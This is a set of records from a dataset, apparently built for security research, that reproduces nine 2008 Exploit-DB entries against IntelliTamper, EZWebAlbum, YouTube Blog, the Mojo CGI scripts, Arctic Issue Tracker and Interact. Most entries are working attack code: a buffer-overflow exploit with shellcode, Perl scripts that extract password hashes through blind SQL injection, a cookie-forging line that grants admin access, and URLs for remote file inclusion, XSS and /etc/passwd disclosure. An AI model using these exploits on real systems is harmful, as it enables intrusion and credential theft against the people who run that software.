QLWD/code_shield huggingface dataset:
标题: IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow EDB-ID: 6116 CVE: 2008-3360 类型: REMOTE 平台: WINDOWS 发布日期: 2008-07-22 漏洞利用脚本: #!/usr/bin/perl
#

use warnings;
use strict;

# CMD="c:\windows\system32\calc.exe"
# [*] x86/alpha_mixed succeeded, final size 344
my $shellcode = 
"\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58" .
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c" .
"\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b" .
"\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50" .
"\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50" .
"\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49" .
"\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44" .
"\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45" .
"\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a" .
"\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31" .
"\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c" .
"\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b" .
"\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50" .
"\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58" .
"\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46" .
"\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57" .
"\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42" .
"\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43" .
"\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41"; 


my $evil_html = '<html><head><title>ph33r</title></head><body>' .
   #'<a href="http://AAAAAAAAAA' .
   #"\x41" x 450 .
   '<a href="http://' .
   $shellcode .
   "\x41" x 116 .
   "\x39\x5c\x3d\x7e" . # ascii friendly 'call EBX'
   '.htm">ph33r</a>' .
   "</body></html>";

print $evil_html;

# milw0rm.com [2008-07-22] URL: https://www.exploit-db.com/exploits/6116
标题: EZWebAlbum - Insecure Cookie Handling EDB-ID: 6115 CVE: 2008-3292 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: ###################################################################################
  #                                                                                 #
  #      ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::....         #           
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(Zahra:zh_virangar)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy

& all virangar members & all hackerz
-------
DESCRIPTION:
EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
some code in index.php:

    if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword )
    {
        setcookie("photoalbumadmin","1");
        header("Location: index.php");
    }
**********************
now vuln code in constants.inc:
$gotalbumadminrights = False;

if (isset($photoalbumadmin))
{
    $gotalbumadminrights = True;
}//SET ADMIN RIGHTS IF COOKIE FOUND
---
exploit:
javascript:document.cookie = "photoalbumadmin=1; path=/";
-----
now   you can get admin access and manage the cms ;)
[+]Example:add a new page in addpage.php
-------
young iranian h4ck3rz

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6115
标题: EZWebAlbum - Remote File Disclosure EDB-ID: 6112 CVE: 2008-3293 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: ##################################################################################################
 EZWebAlbum (dlfilename) Remote File Disclosure Vulnerability     |,  .-.  .-.  ,|
 Found by : Ghost Hacker [ R-H TeaM ]                             | )(_o/  \o_)( |
 My Site web : Real-hack.Net                                      |/     /\     \|
##################################################################################################
[~] Found by : Ghost Hacker [ R-H TeaM ]
[~] Home page : www.Real-hack.net
[~] Email : Ghost-r00t@Hotmail.com
[~] Name Script : EZWebAlbum
[~] Download Script : http://sourceforge.net/projects/ezwebalbum
###################################### [ Viva IslaM & KSA ] ######################################
[~] Error (download.php) :
readfile($dlfilename);

[~] Exploit :
http://xxxx/[path]/download.php?dlfilename=EVIL
[~] Example :
http://xxxx/[path]/download.php?dlfilename=index.php
###################################### [ Viva IslaM & KSA ] ######################################
[~] Greetz :
PROTO & QaTaR BoeZ TeaM & Aseg-Rabe7 & Dmar al3noOoz & 4Bo3tB & LeGeNd HaCkEr & Root Hacker ..
Qptan & ScarY.HaCkEr & EgYpTiaNxHaCkEr the-pirate.org & Mr.hope & My Blog[ gh0st10.wordpress.com ]
All Members Real Hack And All My Friends ..
##################################################################################################
 Found by : Ghost Hacker [ R-H TeaM ]
##################################################################################################

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6112
标题: YouTube blog 0.1 - Remote File Inclusion / SQL Injection / Cross-Site Scripting EDB-ID: 6117 CVE: 2008-3308 2008-3307 2008-3306 2008-3305 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-22 漏洞利用脚本: _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: YouTube Blog 0.1 Multiple Remote Vulnerabilities

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: YouTube Blog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/youtubeblog/ytb_v0.1.zip

Mirror ======:: http://www.badongo.com/file/10507193

______________________

magic_quotes_gpc = Off
safe_mode = Off

_____
[SQL]

http://victim/ytb/todos.php?id=-99+union+select+1,2,mail,contrasena,5,6,7+from+ytb_usuarios+where+id=1/*

_____
[XSS]

http://victim/ytb/mensaje.php?m=<script>alert(/xss/)</script>

_____
[RFI]

http://victim/ytb/cuenta/cuerpo.php?base_archivo=http://192.168.1.111/blah.txt


and more .. = =

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-07-22] URL: https://www.exploit-db.com/exploits/6117
标题: MojoAuto - Blind SQL Injection EDB-ID: 6111 CVE: 2008-3383 类型: WEBAPPS 平台: CGI 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoAuto Blind SQL Injection Exploit             #\n";
  print "   #                                (mojoAuto.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat_a  value                              #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat_a      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat_a, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat_a, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat_a     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoAuto.cgi?mojo=1&action=browse&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6111
标题: MojoJobs - Blind SQL Injection EDB-ID: 6110 CVE: 2008-3267 类型: WEBAPPS 平台: CGI 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoJobs Blind SQL Injection Exploit             #\n";
  print "   #                                (mojoJobs.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat_a  value                              #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat_a      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat_a, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat_a, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat_a     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoJobs.cgi?mojo=1&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6110
标题: MojoClassifieds 2.0 - Blind SQL Injection EDB-ID: 6108 CVE: 2008-3382 类型: WEBAPPS 平台: CGI 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoClassifieds Blind SQL Injection Exploit             #\n";
  print "   #                                (mojoClassified.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat_a  value                              #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat_a      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat_a, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat_a, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat_a     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoClassified.cgi?mojo=1&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6108
标题: Arctic Issue Tracker 2.0.0 - 'filter' SQL Injection (2) EDB-ID: 6113 CVE: 2008-3250 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
 
use IO::Socket;
 

print q{
-----------------------------------------------
Arctic Issue Tracker v2.0.0 exploit by ldma
              ~ SubCode ~
use: arctic.pl [server] [dir]
sample:
$perl arctic.pl localhost /arctic/
-----------------------------------------------
 
};
 
$webpage = $ARGV[0];
$directory = $ARGV[1];
print "+-initiating\n";
print "|--modules..OK!\n";
        sleep 1;
print "|--premodules..OK!\n";
        sleep 1;
print "|--preprocessors..OK!\n";
        sleep 1;
print "+-opening channel.. OK!\n";
        sleep 2;
print "--------------------------------------------\n";
print "~ configuration complete.. OK!\n";
print "~ scanning";
$|=1;
foreach (1..2) {
        print ".";
        sleep 1;
        }
print " OK!\n";
if (!$webpage) { die "\+ rtfm geek\n"; }
 
$wbb_dir =
"http://".$webpage.$directory."index.php?filter=-1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--";
 
print "~ connecting";
$|=1;
foreach (1..1) {
        print ".";
        sleep 1;
        }
print " OK!\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\n";
 
print "~ open exploiting-tree";
$|=1;
foreach (1..2) {
        print ".";
        sleep 1;
        }
print " OK!\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";
print "[+] Target: $webpage\n";
while ($answer = <$sock>) {
if ($answer =~ /Current Filter: <strong>(.*)<\/strong>/) {
print "exploiting in progress";
$|=1;
foreach (1..3) {
        print "...";
        sleep 1;
        }
 
 
print "OK!\n[+] vuln: OK!\n\n\nwell done, ldma!\n\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+] USER-ID: -1\n";
print "[+] ID-HASH: $1\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
exit();
}
}
 
close($sock);
 
# ldma[2008-07-19] 

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6113
标题: MojoPersonals - Blind SQL Injection EDB-ID: 6109 CVE: 2008-3403 类型: WEBAPPS 平台: CGI 发布日期: 2008-07-21 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoPersonals Blind SQL Injection Exploit               #\n";
  print "   #                                (mojoClassified.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat  value                                #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoClassified.cgi?mojo=1&cat=".$cat." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6109
标题: Interact 2.4.1 - 'help.php' Local File Inclusion EDB-ID: 6107 CVE: 2008-3384 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-31


Application:                    Interact E-Learning System
Versions Affected:              2.4.1
Vendor URL:                     http://sourceforge.net/projects/cce-interact
Bug:                            Local File Include
Exploits:                       YES
Reported:                       03.07.2008
Vendor response:                04.07.2008
Solution:                       YES
Date of Public Advisory:        21.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Interact E-Learning System system has local file include vulnerability in script help/help.php

Vulnerable GET parameters "module", "file".

Code
****
#################################################

$module = isset($_GET['module']) ? $_GET['module']:'';
$file   = isset($_GET['file']) ? $_GET['file']:'';

...

$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'.$module.'/'.$file;
if (is_file($hpath)){
        require_once($hpath);
} else {
        require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'.$file);
}

#################################################

Example:

http://[server]/[installdir]/help/help.php?module=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/help/help.php?file=../../../../../../../../../../../../../etc/passwd



Solution
********

This file is no longer required by the system. Remove it from installation.

Vendor response:

"I have posted an alert to users to remove this from their installations asap and will get it removed from the next release of the package."



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6107